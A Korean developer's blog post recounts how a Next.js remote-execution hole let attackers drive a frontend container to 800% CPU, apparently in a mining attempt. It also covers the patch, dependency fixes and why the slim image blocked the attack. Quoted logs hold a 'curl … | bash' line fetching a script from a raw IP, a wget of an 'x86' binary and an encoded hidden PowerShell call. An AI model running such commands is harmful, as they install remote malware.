내 컴퓨터가 채굴기가 될 뻔했….지만 해결기

개인 프로젝트를 진행하다가 갑자기 프론트엔드 서버가 동작하지 않는 것을 발견하였다. 백엔드 서버도 문제없이 돌아가고 있었고, 이미 기존에 충분히 안정성을 검증했던 거라, 갑자기 안된다는 것에 이상함을 감지하고 Grafana와 Docker logs 를 뒤져보기 시작했다. 그런데…

응….? 800%?

엥?

에에엥?

컨테이너를 다시 켜면서 로그는 여기까지…
뭔가 쎄한 감정이 드는 순간, 여기저기서 오는 메일, 알림. 털렸다는 소식이 들려오기에 우선 제일 먼저 로그부터 까보기로 했다. 그러자 몇 가지 단적인 문제 포인트들을 찾을 수 있었다.
로그 분석 결과: 해킹 시도 증거
로그 곳곳에 공격자가 서버를 장악하고 악성 스크립트를 실행하려 한 흔적이 있었다.
- 외부 IP 연결 시도:
Connecting to 193.34.213.150curl http://45.134.174.235:443/2.sh | bash- 이 IP들은 공격자가 악성 파일을 호스팅하는 C&C(Command & Control) 서버인지는 알 수 없지만, 확실한건 수십차례, 수시간 동안 계속 연결을 시도했다.
- 악성 파일 다운로드 및 실행 시도:
wget: can't open 'x86': File exists:x86이라는 파일을 다운로드하려 했다./dev/health.sh: 일반적인 Next.js 컨테이너에는 존재하지 않는 경로의 쉘 스크립트, 아마도 health 로 볼 때, 다른 보안 프로그램 등에서 문제 없다고 넘어갈 수있게 만드려는 도구가 아닐가 추정된다.
- 공격 페이로드 (Payload):
powershell -nop -w hidden -enc ...: Base64로 인코딩된 파워쉘 명령어를 실행하려 했다.wow i guess im finna bridge now... MEOWWW...: 스크립트 키디(Script Kiddie)나 특정 봇넷이 남기는 시그니처 메시지입니다.
CPU 사용량 800% 를 찍었고, 서버가 뻗을 뻔 했지만 살아는 있었다. 그렇기에 얼른 컨테이너 이미지와 볼륨을 새로 정리한 뒤, 우선 해결책으로 방법을 찾아 다녔다.
해결: 다행이 빠르게 해결 된다. 하지만 주의사항

npx fix-react2shell-next
다행이 사용하는 기술 스택이 next 였기도 하고, next 역시 빠르게 대응 빌드를 올리게 되면서, 해당 명령어만 치면 문제는 해결 된다고 했다. 하지만 이렇게 될 경우 문제가 있는데 그것은 바로 호환성 관련된 영역이다.

빌드 및 자동배포가 터졌고 로그를 확인해 보았다. 왜 그런가 알아보니, next 기반인 react 와 eslint 는 next에 대응되는 버전이 필요하였고, 버전이 안 맞으면 빌드 시 터지는 것이었다. 하물며 어이없게도 next 공식 보안 패치 명령어는 이러한 문제를 해결해주지 않는 것을 (…) 알게 되었다.
프론트엔드 개발자는 아니기 때문에 내가 몰라서 그랬던 건지는 모르겠지만, 이렇게 package.json 의 버전을 바꿔주면 비로소 해결 되는 것을 알 수 있었다.
흠 근데 희한하네… 왜 괜찮았지?
그리하여 정리하고 배포를 다시 안전하게 하고, 하는 김에 Jenkins 잡까지 다듬어서, 정리를 했는데 왜 이런 일이 터졌고, CPU 사용량 800% 로 뚫은 것도 사실인데, 반대로 로그를 뒤져본 결과 공격이 실패했고, 동시에 왜 다른 서버는 쌩쌩하게 살아있던거지? 라는 생각이 들어 로그와 내용을 좀 분석 해볼 필요가 있다고 느꼈다.
무엇이 문제를 키웠나?
- 취약점은 답이 없다 : 근본적으론 보안 구멍이 발생한 것 자체가 문제기는 했다. 종단간 암호화에 프록시 까지 잘 앞에 세워뒀었고, 그정도면 어지간하면 문제가 없어야 하는데 당장에 구멍이 뚫려있으니… nextjs 자체가 쉘로 동작하고 명령어를 실행시키는 것은 정말 충격적이었다.
- Rate Limiter & WAF 의 부재 :
- 내 핵심 문제 사항이라고 볼 수 있는데… 개발과정에 있다보니 해당 보안 처리를 아직 설정을 안한 상태였다.
- 로그를 디테일하게 파보니 Next.js 의 취약점을 이용해 L7 레이어 공격이라 네트워크 방화벽 L3/L4 를 우회했고, 이 와중에
child_process.exec()이나spawn()을 호출한 것으로 보였다. - 그리고
wget: can't open 'x86x: File exists라는 메시지도 있었는데 이는 ‘이미 파일이 있다’는 에러이고 이런 점에서 감안하면 다음과 같은 상황으로 추론이 되었다.- 첫번째 다운로드 성공한게 아닌가 싶다.
- 하지만 성공한 프로그램이 제대로 구동 안됨
- 계속 다운로드 시도 및 프로세스 생성 -> 프로세스가 계속 발생하면서 처리가 필요했고 그 과정에서 800% 이용률 발생
- 하지만 시도한 방법 자체가 대단히 심플한 명령어 수행 요청이었고, 좀비 스레드가 생성될 순 있겠지만 그것이 시스템의 제어를 망가뜨릴 정도까지는 가지 못했다- 는 점을 알 수 있었다.
- 따라서, 결과적으로 Rate Limiter 와 WAF 를 통해 지능적으로 문제 시 될 요청을 제한했다면 아주 완벽한 보안이 되지 않을까 한다.
그런데도 불구하고 털리지 않은 점은?
- 그럼에도 신기하게 서버 통으로 문제가 발생하진 않았었다. 이유는 무엇인가?
- 플랫폼 차이 : 로그를 보니
powershell -nop -w hidden -enc ...이런 로그가 눈에 들어왔는데, 즉, 공격자는 윈도우 서버를 공격할 목적이 다분해 보였다. 아마도 시스템 권한이나, 자원 사용에 있어서 윈도우즈 보안이 뚤릴 것을 노린게 아닌가 싶은데… 애석하게도 리눅스 시스템으로 가능한 보안적으로 든든한 Ubuntu LTS 버전, 보안패치를 짱짱하게 받은 상황이니 다행이라고 볼 수 있겠다. - 경량형 이미지와 온전한 컨테이닝 : 로그 중에
/bin/sh: curl: not found,/bin/sh: bash: not found이런게 보였다. 여기서 나름 뿌듯함을 느꼈다. 개발 하는 시점부터 써야 하는 이미지는 리소스를 최대한 줄이며, 완벽하게 하나의 역할에 맞춰 설계를 하는게 낫다- 고 생각했는데 이번 사건이 그 아주 좋은 경험이었다. 다른 작업을 하는데 필요한 도구들에 접근 자체가 불가능했고, 권한이 없는 상태에서 할 수 있는 최선의 시작점이 실행이 안되니 입구 앞에서 아무것도 할 수 없었던 것이다. 이러한 전략을공격 표면 축소(Attack Surface)라는 방법론이라고 한다는데
이렇듯, 의도치 않게 1 스트라이크, 1 아웃을 경험하였고, 다행이 도구들이 준비되고, 무중단 배포나 모니터링이 얼추 되어 있다보니 다행이 문제를 해결할 수 있었다. 그리고 동시에 전에 사수가 이야기 했던 공격에 대한걸 떠올리면서, 역시 라이브 서비스는 기본 타협없이 반드시 지켜야 할 것들을 지켜 놓는게, 신상에 이롭다는 사실을 이해할 수 있었다.
동시에 당초 목표로 AWS 호환 되도록 인프라를 설계 했었고, 만약 클라우드(AWS, Azure 등)의 오토스케일링 환경이나 종량제 과금 모델을 쓰고 있었다면, 이번 CPU 800% 폭주로 인해 이번 달 서버 비용으로 컴퓨터 한대 해먹지 않았을까? (…) 여러 모로 교훈이 되는 경험을 하지 않았나 싶다. 그리고 동시에 얼마나 털기 쉬우면 윈도우로 채굴 같은걸 하려고 했는지는 모르겠지만… 서버로 윈도우를 쓰는 건 자제하자는 나름의 교훈(?) 도 하나 얻어 가는 것 같다.
요 최근 쿠팡도 그렇고, 통신사들도 그렇고, 보안 신경… 정말 스스로 조심하는 것도 중요하고, 무엇보다 회사에서 사고치지 않도록 이부분은 타협하지 말아야 한다는 점.. 명심해야겠다. (라는 생각에 따라 오늘 작업은 우선 nginx 앞에 SafeLine 이라는 WAF 를 하나 세워 둬야겠다…)